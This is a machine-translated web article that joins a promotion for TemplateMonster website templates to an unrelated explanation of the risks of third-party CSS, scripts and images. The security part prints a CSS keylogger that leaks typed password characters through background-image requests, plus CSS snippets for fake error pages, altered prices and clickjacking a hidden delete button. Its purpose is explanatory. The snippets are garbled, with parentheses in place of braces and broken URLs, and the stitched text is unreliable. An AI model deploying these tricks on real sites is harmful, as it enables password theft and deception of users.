Third party resources. Doorway. Create beautiful designs with templates

Any website owner wants to have a beautiful design! So, the question arises, how to get a high-quality design for a web resource, while quickly and at an affordable price?

Website design development with the involvement of third-party resources

What third party resources ? It will not be news to anyone that to create a website, if you yourself do not know where to start, you need a developer and designer. When attracting these masters to work, you should be prepared for the fact that everything will not work out quickly.

Each specialist has his own vision and each in his own way understands what is “right”. So be prepared to defend your opinion. All such disputes and alterations take a lot of time, effort and money, since the services of developers and designers are not cheap.

Considering the above, this begs the question: “Why involve third-party resources to create a website?”. Oddly enough, there are certain advantages. Firstly, such cooperation allows you to create not only a beautiful design for the site, but also completely unique. Secondly, you can implement such a layout for your web resource that you have always dreamed of, even the most complex and filled with all sorts of sections and menus of varying complexity.

Create beautiful designs with templates

Templates- this is a ready-made design that you can use to create a website. If you want to create a website to work on a specific CMS, then you can choose a template that is designed specifically for this platform.

What are the benefits of using templates? After looking at the screenshots above, or rather the price of the proposed layouts from the company TemplateMonster, we can definitely say that the pricing policy for templates is very loyal.

For little money, you get not only a beautiful design, but also modern functionality. In addition, all templates are customizable, so even if something does not suit you in the design of the layout, you can change or delete it. Thanks to the intuitive interface of the admin panel, you can easily figure out the available settings, without involving outside help, which will significantly save time and budget.

Most of the templates are responsive, which makes it possible to create a functional site that can work on any type of device. Another characteristic that clearly needs to be considered when choosing the right template is versatility!

Command TemplateMonster has developed a certain type of templates that can be used for sites in different directions, for example, an online store or blog, as well as for resources on various topics (construction, furniture store, etc.).

And finally, the most important advantage of working with ready-made layouts TemplateMonster is that by purchasing a theme, you get access to free service technical support 24/7. Therefore, if you have any questions related to how to install or customize the purchased theme, you can get expert help!

Beautiful website designs are already the first step to success! When users open a site, they first visually evaluate the resource, and then they see what information is on it. Therefore, if you want to have a large number of customers, readers or buyers, it is important to be able to attract their attention at first sight so that they do not leave your site forever. But how to do it? That's right, use a beautiful design for your resource that can interest and arouse the interest of users.

When deciding how to create a site (create from scratch or use a template), it is important to determine the main tasks for the resource, which will allow you to choose the most suitable method. Of course, you can start developing a web page yourself, especially since you know best what you need! But, in this case, a certain level of skills and knowledge will be required.

If all this is not there, but you really want to do the design for the site yourself, opt for templates TemplateMonster... There is no need for great skills and everything is clear even for a novice user!

Here's how you can harm your site using third-party CSS, JavaScript, and other resources from third-party servers.

At the end of February, a keylogger appeared on the network, partially using CSS. The attack using it is simple: for each character entered in a field with a specific type (for example, password), a request is generated to a third-party server, allegedly requesting a background image:

input (background-image: url ("http: // localhost: 3000 / a");)

background - image: url ("http: // localhost: 3000 / a");

The sequence of requests can be registered on the server and the entered password can be easily calculated.

In the process of discussing the problem, some suggested to the browser manufacturers to fix it. Someone noticed that the problem is relevant only for sites based on React-like frameworks, and shifted the blame to them.

Third-party pictures

< img src = "https://example.com/kitten.jpg">

If you add this kind of image to your site, you will be dependent on example.com. They can set you up different ways for example, delete a picture - you will get a 404 instead of an image. Or they can simply replace the image of a cat with something less pleasant.

You can warn your users that the image was added from a third-party resource and you have nothing to do with it. So you will protect yourself a little from trouble. But, of course, when you add a simple picture, you do not provide access to passwords.

Third party scripts

This example is much more interesting for example.com, because by adding a script from their site you give them a lot more control over theirs. In this case example.com can:

  • Read / change the content of the page.
  • Track every user action.
  • Run code that is difficult to compute (for example, a cryptominer).
  • Request cookies.
  • Read / modify local storage.

In other words, now example.com can do a lot.

Interacting with local storage will bring even more challenges in the future. A third-party resource will have access to your site even after the script is removed from the page. If you add a third party script to your site, you must absolutely trust the source and its security.

If you still run into a bad script, try using the Clear-Site-Data header.

Third party CSS

< link rel = "stylesheet" href = "https://example.com/style.css">

Third-party CSS-code for the impact on the site is located between the picture and the script. Someone else's CSS can:

  • Remove / change / add content on the page.
  • Make requests based on the content of the page.
  • React to many user actions.

CSS will not be able to interact with the local storage and the cryptominer will not embed it on the page, but it can do a lot of harm to the resource owner.

Keylogger

Modifying the CSS a bit from the beginning of the article:

input (background-image: url ("/ password? a");)

input [type = "password"] [value $ = "a"] (

background - image: url ("/ password? a");

This code will send data about the entered character "a" to the handler under the guise of a picture request. Repeat the code for each symbol and you already have a CSS keylogger.

By default, browsers do not store user-entered characters in the value attribute, so this trick will work when using something that synchronizes such values, such as.

Of course, this problem can be solved on the side of React and similar frameworks. But then only a specific case will be solved, and the rest of the problems will remain.

Disappearing content

body (display: none;) html :: after (content: "HTTP Server Server Error";)

body (

display: none;

html :: after (

content: "HTTP Server Server Error";

This is, of course, a very peculiar example, but still a working one. Imagine if your users, when they visit the site, will see instead of the usual home page incomprehensible error. In the same way, third-party code can remove, for example, the "buy" button or make some other nuisance.

Adding content

Price-value :: before (content: "1";)

Price - value :: before (

content: "1";

And just like that, your prices skyrocketed.

Moving content

Delete-everything-button (opacity: 0; position: absolute; top: 500px; left: 300px;)

Delete - everything - button (

opacity: 0;

position: absolute;

top: 500px;

left: 300px;

Take a button that does something terrible and that the user won't just click, make it transparent and place it where the user will click.

Of course, if the button does something really important, the user will see a warning dialog first. But that's not a problem either: you just need more CSS. For example, you can change the content of the button "Oh my God, no!", To "Of course, I'm sure."

Imagine the browser makers tweak the keylogger trick. Attackers simply place an extra text field on top of an important password field and they are back to work.

Reading Attributes

Passwords are not necessarily stored in value and other attributes: an attacker may find something else interesting.